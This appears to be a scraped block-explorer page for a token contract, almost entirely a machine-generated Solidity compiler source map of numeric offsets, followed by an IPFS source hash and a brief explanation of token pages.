31;;;;;;:::i;:::-;;;;;;;;6214:84;6332:2;6317:26;;6326:4;6317:26;;;6336:6;6317:26;;;;;;:::i;:::-;;;;;;;;5746:609;;;5671:684;5508:854;;;:::o;2940:94::-;2992:4;3016;:10;3021:4;3016:10;;;;;;;;;;;;;;;;;;;;;;;;;3009:17;;2940:94;;;:::o;7710:449::-;7771:47;7788:4;7803:7;;;;;;;;;;;7813:4;7771:8;:47::i;:::-;7856:4;7829:9;:24;7847:4;7829:24;;;;;;;;;;;;;;;:31;;;;7871:21;7909:1;7895:16;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;7871:40;;7938:4;7922:13;;:20;;;;;;;;;;;;;;;;;;7971:4;7953;7958:1;7953:7;;;;;;;;:::i;:::-;;;;;;;:23;;;;;;;;;;;7997:7;;;;;;;;;;;:12;;;:14;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;7987:4;7992:1;7987:7;;;;;;;;:::i;:::-;;;;;;;:24;;;;;;;;;;;8022:7;;;;;;;;;;;:58;;;8081:4;8086:1;8088:4;8093;8116:2;8098:15;:20;;;;:::i;:::-;8022:97;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;8146:5;8130:13;;:21;;;;;;;;;;;;;;;;;;7760:399;7710:449;;:::o;8165:254::-;8227:7;8247:10;8278:7;;;;;;;;;;;:15;;;:17;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;8260:44;;;8313:4;8320:7;;;;;;;;;;;:12;;;:14;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;8260:75;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;8247:88;;8353:58;8376:4;8382:2;8386:24;8396:13;;;;;;;;;;;8386:9;:24::i;:::-;8353:22;:58::i;:::-;8346:65;;;8165:254;;;:::o;6368:209::-;6441:4;6465:104;6476:4;6482:9;6511:7;;;;;;;;;;;:15;;;:17;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;6493:44;;;6546:4;6553:7;;;;;;;;;;;:12;;;:14;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;6493:75;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;6465:10;:104::i;:::-;6458:111;;6368:209;;;;:::o;864:246::-;922:7;951:1;946;:6;942:47;;976:1;969:8;;;;942:47;999:9;1015:1;1011;:5;;;;:::i;:::-;999:17;;1044:1;1039;1035;:5;;;;:::i;:::-;:10;1027:56;;;;;;;;;;;;:::i;:::-;;;;;;;;;1101:1;1094:8;;;864:246;;;;;:::o;1116:177::-;1174:7;1206:1;1202;:5;1194:44;;;;;;;;;;;;:::i;:::-;;;;;;;;;1249:9;1265:1;1261;:5;;;;:::i;:::-;1249:17;;1284:1;1277:8;;;1116:177;;;;:::o;8425:364::-;8540:7;8560:14;8577:9;8560:26;;8597:17;8650:9;8633:26;;:13;:26;;;8629:129;;8685:9;8676:18;;8629:129;;;8737:9;8727:19;;;;;:::i;:::-;;;8629:129;8775:6;8768:13;;;;8425:364;;;;;:::o;3414:475::-;3492:4;3509:6;3518:13;;;;;;;;;;;3509:22;;3542:6;3551:29;3558:4;:8;3563:2;3558:8;;;;;;;;;;;;;;;;;;;;;;;;;3568:11;3574:4;3568:5;:11::i;:::-;3551:6;:29::i;:::-;3542:38;;3591:8;3602:1;3591:12;;3619:4;:8;3624:2;3619:8;;;;;;;;;;;;;;;;;;;;;;;;;3618:9;:44;;;;;3641:21;3648:4;:10;3653:4;3648:10;;;;;;;;;;;;;;;;;;;;;;;;;3660:1;3641:6;:21::i;:::-;3618:44;:68;;;;;3682:4;3676:10;;:2;:10;;;;3618:68;3614:247;;;3719:2;3703:13;;:18;;;;;;;;;;;;;;;;;;3742:4;3736:10;;3614:247;;;3778:1;:7;;;;;3784:1;3783:2;3778:7;3774:87;;;3801:2;3793:10;;:4;:10;;;3789:61;;3830:4;3824:10;;3789:61;3774:87;3614:247;3878:3;3871:10;;;;;3414:475;;;;;:::o;3295:113::-;3359:4;3384:5;3383:6;:17;;;;;3394:6;3393:7;3383:17;3376:24;;3295:113;;;;:::o;7:99:1:-;59:6;93:5;87:12;77:22;;7:99;;;:::o;112:169::-;196:11;230:6;225:3;218:19;270:4;265:3;261:14;246:29;;112:169;;;;:::o;287:246::-;368:1;378:113;392:6;389:1;386:13;378:113;;;477:1;472:3;468:11;462:18;458:1;453:3;449:11;442:39;414:2;411:1;407:10;402:15;;378:113;;;525:1;516:6;511:3;507:16;500:27;349:184;287:246;;;:::o;539:102::-;580:6;631:2;627:7;622:2;615:5;611:14;607:28;597:38;;539:102;;;:::o;647:377::-;735:3;763:39;796:5;763:39;:::i;:::-;818:71;882:6;877:3;818:71;:::i;:::-;811:78;;898:65;956:6;951:3;944:4;937:5;933:16;898:65;:::i;:::-;988:29;1010:6;988:29;:::i;:::-;983:3;979:39;972:46;;739:285;647:377;;;;:::o;1030:313::-;1143:4;1181:2;1170:9;1166:18;1158:26;;1230:9;1224:4;1220:20;1216:1;1205:9;1201:17;1194:47;1258:78;1331:4;1322:6;1258:78;:::i;:::-;1250:86;;1030:313;;;;:::o;1430:117::-;1539:1;1536;1529:12;1553:117;1662:1;1659;1652:12;1676:126;1713:7;1753:42;1746:5;1742:54;1731:65;;1676:126;;;:::o;1808:96::-;1845:7;1874:24;1892:5;1874:24;:::i;:::-;1863:35;;1808:96;;;:::o;1910:122::-;1983:24;2001:5;1983:24;:::i;:::-;1976:5;1973:35;1963:63;;2022:1;2019;2012:12;1963:63;1910:122;:::o;2038:139::-;2084:5;2122:6;2109:20;2100:29;;2138:33;2165:5;2138:33;:::i;:::-;2038:139;;;;:::o;2183:77::-;2220:7;2249:5;2238:16;;2183:77;;;:::o;2266:122::-;2339:24;2357:5;2339:24;:::i;:::-;2332:5;2329:35;2319:63;;2378:1;2375;2368:12;2319:63;2266:122;:::o;2394:139::-;2440:5;2478:6;2465:20;2456:29;;2494:33;2521:5;2494:33;:::i;:::-;2394:139;;;;:::o;2539:474::-;2607:6;2615;2664:2;2652:9;2643:7;2639:23;2635:32;2632:119;;;2670:79;;:::i;:::-;2632:119;2790:1;2815:53;2860:7;2851:6;2840:9;2836:22;2815:53;:::i;:::-;2805:63;;2761:117;2917:2;2943:53;2988:7;2979:6;2968:9;2964:22;2943:53;:::i;:::-;2933:63;;2888:118;2539:474;;;;;:::o;3019:90::-;3053:7;3096:5;3089:13;3082:21;3071:32;;3019:90;;;:::o;3115:109::-;3196:21;3211:5;3196:21;:::i;:::-;3191:3;3184:34;3115:109;;:::o;3230:210::-;3317:4;3355:2;3344:9;3340:18;3332:26;;3368:65;3430:1;3419:9;3415:17;3406:6;3368:65;:::i;:::-;3230:210;;;;:::o;3446:118::-;3533:24;3551:5;3533:24;:::i;:::-;3528:3;3521:37;3446:118;;:::o;3570:222::-;3663:4;3701:2;3690:9;3686:18;3678:26;;3714:71;3782:1;3771:9;3767:17;3758:6;3714:71;:::i;:::-;3570:222;;;;:::o;3798:619::-;3875:6;3883;3891;3940:2;3928:9;3919:7;3915:23;3911:32;3908:119;;;3946:79;;:::i;:::-;3908:119;4066:1;4091:53;4136:7;4127:6;4116:9;4112:22;4091:53;:::i;:::-;4081:63;;4037:117;4193:2;4219:53;4264:7;4255:6;4244:9;4240:22;4219:53;:::i;:::-;4209:63;;4164:118;4321:2;4347:53;4392:7;4383:6;4372:9;4368:22;4347:53;:::i;:::-;4337:63;;4292:118;3798:619;;;;;:::o;4423:117::-;4532:1;4529;4522:12;4546:117;4655:1;4652;4645:12;4669:117;4778:1;4775;4768:12;4809:568;4882:8;4892:6;4942:3;4935:4;4927:6;4923:17;4919:27;4909:122;;4950:79;;:::i;:::-;4909:122;5063:6;5050:20;5040:30;;5093:18;5085:6;5082:30;5079:117;;;5115:79;;:::i;:::-;5079:117;5229:4;5221:6;5217:17;5205:29;;5283:3;5275:4;5267:6;5263:17;5253:8;5249:32;5246:41;5243:128;;;5290:79;;:::i;:::-;5243:128;4809:568;;;;;:::o;5383:559::-;5469:6;5477;5526:2;5514:9;5505:7;5501:23;5497:32;5494:119;;;5532:79;;:::i;:::-;5494:119;5680:1;5669:9;5665:17;5652:31;5710:18;5702:6;5699:30;5696:117;;;5732:79;;:::i;:::-;5696:117;5845:80;5917:7;5908:6;5897:9;5893:22;5845:80;:::i;:::-;5827:98;;;;5623:312;5383:559;;;;;:::o;5948:329::-;6007:6;6056:2;6044:9;6035:7;6031:23;6027:32;6024:119;;;6062:79;;:::i;:::-;6024:119;6182:1;6207:53;6252:7;6243:6;6232:9;6228:22;6207:53;:::i;:::-;6197:63;;6153:117;5948:329;;;;:::o;6283:::-;6342:6;6391:2;6379:9;6370:7;6366:23;6362:32;6359:119;;;6397:79;;:::i;:::-;6359:119;6517:1;6542:53;6587:7;6578:6;6567:9;6563:22;6542:53;:::i;:::-;6532:63;;6488:117;6283:329;;;;:::o;6618:118::-;6705:24;6723:5;6705:24;:::i;:::-;6700:3;6693:37;6618:118;;:::o;6742:222::-;6835:4;6873:2;6862:9;6858:18;6850:26;;6886:71;6954:1;6943:9;6939:17;6930:6;6886:71;:::i;:::-;6742:222;;;;:::o;6970:474::-;7038:6;7046;7095:2;7083:9;7074:7;7070:23;7066:32;7063:119;;;7101:79;;:::i;:::-;7063:119;7221:1;7246:53;7291:7;7282:6;7271:9;7267:22;7246:53;:::i;:::-;7236:63;;7192:117;7348:2;7374:53;7419:7;7410:6;7399:9;7395:22;7374:53;:::i;:::-;7364:63;;7319:118;6970:474;;;;;:::o;7450:180::-;7498:77;7495:1;7488:88;7595:4;7592:1;7585:15;7619:4;7616:1;7609:15;7636:320;7680:6;7717:1;7711:4;7707:12;7697:22;;7764:1;7758:4;7754:12;7785:18;7775:81;;7841:4;7833:6;7829:17;7819:27;;7775:81;7903:2;7895:6;7892:14;7872:18;7869:38;7866:84;;7922:18;;:::i;:::-;7866:84;7687:269;7636:320;;;:::o;7962:182::-;8102:34;8098:1;8090:6;8086:14;8079:58;7962:182;:::o;8150:366::-;8292:3;8313:67;8377:2;8372:3;8313:67;:::i;:::-;8306:74;;8389:93;8478:3;8389:93;:::i;:::-;8507:2;8502:3;8498:12;8491:19;;8150:366;;;:::o;8522:419::-;8688:4;8726:2;8715:9;8711:18;8703:26;;8775:9;8769:4;8765:20;8761:1;8750:9;8746:17;8739:47;8803:131;8929:4;8803:131;:::i;:::-;8795:139;;8522:419;;;:::o;8947:180::-;8995:77;8992:1;8985:88;9092:4;9089:1;9082:15;9116:4;9113:1;9106:15;9133:191;9173:3;9192:20;9210:1;9192:20;:::i;:::-;9187:25;;9226:20;9244:1;9226:20;:::i;:::-;9221:25;;9269:1;9266;9262:9;9255:16;;9290:3;9287:1;9284:10;9281:36;;;9297:18;;:::i;:::-;9281:36;9133:191;;;;:::o;9330:180::-;9378:77;9375:1;9368:88;9475:4;9472:1;9465:15;9499:4;9496:1;9489:15;9516:233;9555:3;9578:24;9596:5;9578:24;:::i;:::-;9569:33;;9624:66;9617:5;9614:77;9611:103;;9694:18;;:::i;:::-;9611:103;9741:1;9734:5;9730:13;9723:20;;9516:233;;;:::o;9755:194::-;9795:4;9815:20;9833:1;9815:20;:::i;:::-;9810:25;;9849:20;9867:1;9849:20;:::i;:::-;9844:25;;9893:1;9890;9886:9;9878:17;;9917:1;9911:4;9908:11;9905:37;;;9922:18;;:::i;:::-;9905:37;9755:194;;;;:::o;9955:224::-;10095:34;10091:1;10083:6;10079:14;10072:58;10164:7;10159:2;10151:6;10147:15;10140:32;9955:224;:::o;10185:366::-;10327:3;10348:67;10412:2;10407:3;10348:67;:::i;:::-;10341:74;;10424:93;10513:3;10424:93;:::i;:::-;10542:2;10537:3;10533:12;10526:19;;10185:366;;;:::o;10557:419::-;10723:4;10761:2;10750:9;10746:18;10738:26;;10810:9;10804:4;10800:20;10796:1;10785:9;10781:17;10774:47;10838:131;10964:4;10838:131;:::i;:::-;10830:139;;10557:419;;;:::o;10982:222::-;11122:34;11118:1;11110:6;11106:14;11099:58;11191:5;11186:2;11178:6;11174:15;11167:30;10982:222;:::o;11210:366::-;11352:3;11373:67;11437:2;11432:3;11373:67;:::i;:::-;11366:74;;11449:93;11538:3;11449:93;:::i;:::-;11567:2;11562:3;11558:12;11551:19;;11210:366;;;:::o;11582:419::-;11748:4;11786:2;11775:9;11771:18;11763:26;;11835:9;11829:4;11825:20;11821:1;11810:9;11806:17;11799:47;11863:131;11989:4;11863:131;:::i;:::-;11855:139;;11582:419;;;:::o;12007:180::-;12055:77;12052:1;12045:88;12152:4;12149:1;12142:15;12176:4;12173:1;12166:15;12193:143;12250:5;12281:6;12275:13;12266:22;;12297:33;12324:5;12297:33;:::i;:::-;12193:143;;;;:::o;12342:351::-;12412:6;12461:2;12449:9;12440:7;12436:23;12432:32;12429:119;;;12467:79;;:::i;:::-;12429:119;12587:1;12612:64;12668:7;12659:6;12648:9;12644:22;12612:64;:::i;:::-;12602:74;;12558:128;12342:351;;;;:::o;12699:85::-;12744:7;12773:5;12762:16;;12699:85;;;:::o;12790:60::-;12818:3;12839:5;12832:12;;12790:60;;;:::o;12856:158::-;12914:9;12947:61;12965:42;12974:32;13000:5;12974:32;:::i;:::-;12965:42;:::i;:::-;12947:61;:::i;:::-;12934:74;;12856:158;;;:::o;13020:147::-;13115:45;13154:5;13115:45;:::i;:::-;13110:3;13103:58;13020:147;;:::o;13173:114::-;13240:6;13274:5;13268:12;13258:22;;13173:114;;;:::o;13293:184::-;13392:11;13426:6;13421:3;13414:19;13466:4;13461:3;13457:14;13442:29;;13293:184;;;;:::o;13483:132::-;13550:4;13573:3;13565:11;;13603:4;13598:3;13594:14;13586:22;;13483:132;;;:::o;13621:108::-;13698:24;13716:5;13698:24;:::i;:::-;13693:3;13686:37;13621:108;;:::o;13735:179::-;13804:10;13825:46;13867:3;13859:6;13825:46;:::i;:::-;13903:4;13898:3;13894:14;13880:28;;13735:179;;;;:::o;13920:113::-;13990:4;14022;14017:3;14013:14;14005:22;;13920:113;;;:::o;14069:732::-;14188:3;14217:54;14265:5;14217:54;:::i;:::-;14287:86;14366:6;14361:3;14287:86;:::i;:::-;14280:93;;14397:56;14447:5;14397:56;:::i;:::-;14476:7;14507:1;14492:284;14517:6;14514:1;14511:13;14492:284;;;14593:6;14587:13;14620:63;14679:3;14664:13;14620:63;:::i;:::-;14613:70;;14706:60;14759:6;14706:60;:::i;:::-;14696:70;;14552:224;14539:1;14536;14532:9;14527:14;;14492:284;;;14496:14;14792:3;14785:10;;14193:608;;;14069:732;;;;:::o;14807:831::-;15070:4;15108:3;15097:9;15093:19;15085:27;;15122:71;15190:1;15179:9;15175:17;15166:6;15122:71;:::i;:::-;15203:80;15279:2;15268:9;15264:18;15255:6;15203:80;:::i;:::-;15330:9;15324:4;15320:20;15315:2;15304:9;15300:18;15293:48;15358:108;15461:4;15452:6;15358:108;:::i;:::-;15350:116;;15476:72;15544:2;15533:9;15529:18;15520:6;15476:72;:::i;:::-;15558:73;15626:3;15615:9;15611:19;15602:6;15558:73;:::i;:::-;14807:831;;;;;;;;:::o;15644:332::-;15765:4;15803:2;15792:9;15788:18;15780:26;;15816:71;15884:1;15873:9;15869:17;15860:6;15816:71;:::i;:::-;15897:72;15965:2;15954:9;15950:18;15941:6;15897:72;:::i;:::-;15644:332;;;;;:::o;15982:410::-;16022:7;16045:20;16063:1;16045:20;:::i;:::-;16040:25;;16079:20;16097:1;16079:20;:::i;:::-;16074:25;;16134:1;16131;16127:9;16156:30;16174:11;16156:30;:::i;:::-;16145:41;;16335:1;16326:7;16322:15;16319:1;16316:22;16296:1;16289:9;16269:83;16246:139;;16365:18;;:::i;:::-;16246:139;16030:362;15982:410;;;;:::o;16398:180::-;16446:77;16443:1;16436:88;16543:4;16540:1;16533:15;16567:4;16564:1;16557:15;16584:185;16624:1;16641:20;16659:1;16641:20;:::i;:::-;16636:25;;16675:20;16693:1;16675:20;:::i;:::-;16670:25;;16714:1;16704:35;;16719:18;;:::i;:::-;16704:35;16761:1;16758;16754:9;16749:14;;16584:185;;;;:::o;16775:220::-;16915:34;16911:1;16903:6;16899:14;16892:58;16984:3;16979:2;16971:6;16967:15;16960:28;16775:220;:::o;17001:366::-;17143:3;17164:67;17228:2;17223:3;17164:67;:::i;:::-;17157:74;;17240:93;17329:3;17240:93;:::i;:::-;17358:2;17353:3;17349:12;17342:19;;17001:366;;;:::o;17373:419::-;17539:4;17577:2;17566:9;17562:18;17554:26;;17626:9;17620:4;17616:20;17612:1;17601:9;17597:17;17590:47;17654:131;17780:4;17654:131;:::i;:::-;17646:139;;17373:419;;;:::o;17798:176::-;17938:28;17934:1;17926:6;17922:14;17915:52;17798:176;:::o;17980:366::-;18122:3;18143:67;18207:2;18202:3;18143:67;:::i;:::-;18136:74;;18219:93;18308:3;18219:93;:::i;:::-;18337:2;18332:3;18328:12;18321:19;;17980:366;;;:::o;18352:419::-;18518:4;18556:2;18545:9;18541:18;18533:26;;18605:9;18599:4;18595:20;18591:1;18580:9;18576:17;18569:47;18633:131;18759:4;18633:131;:::i;:::-;18625:139;;18352:419;;;:::o

Swarm Source

ipfs://672aab31fde792b3363d1cff7a97aa7b85ce76daf68a27320e79d14cff2ab163
Loading...
Loading
Loading...
Loading
[ Download: CSV Export  ]
[ Download: CSV Export  ]

A token is a representation of an on-chain or off-chain asset. The token page shows information such as price, total supply, holders, transfers and social links. Learn more about this page in our Knowledge Base.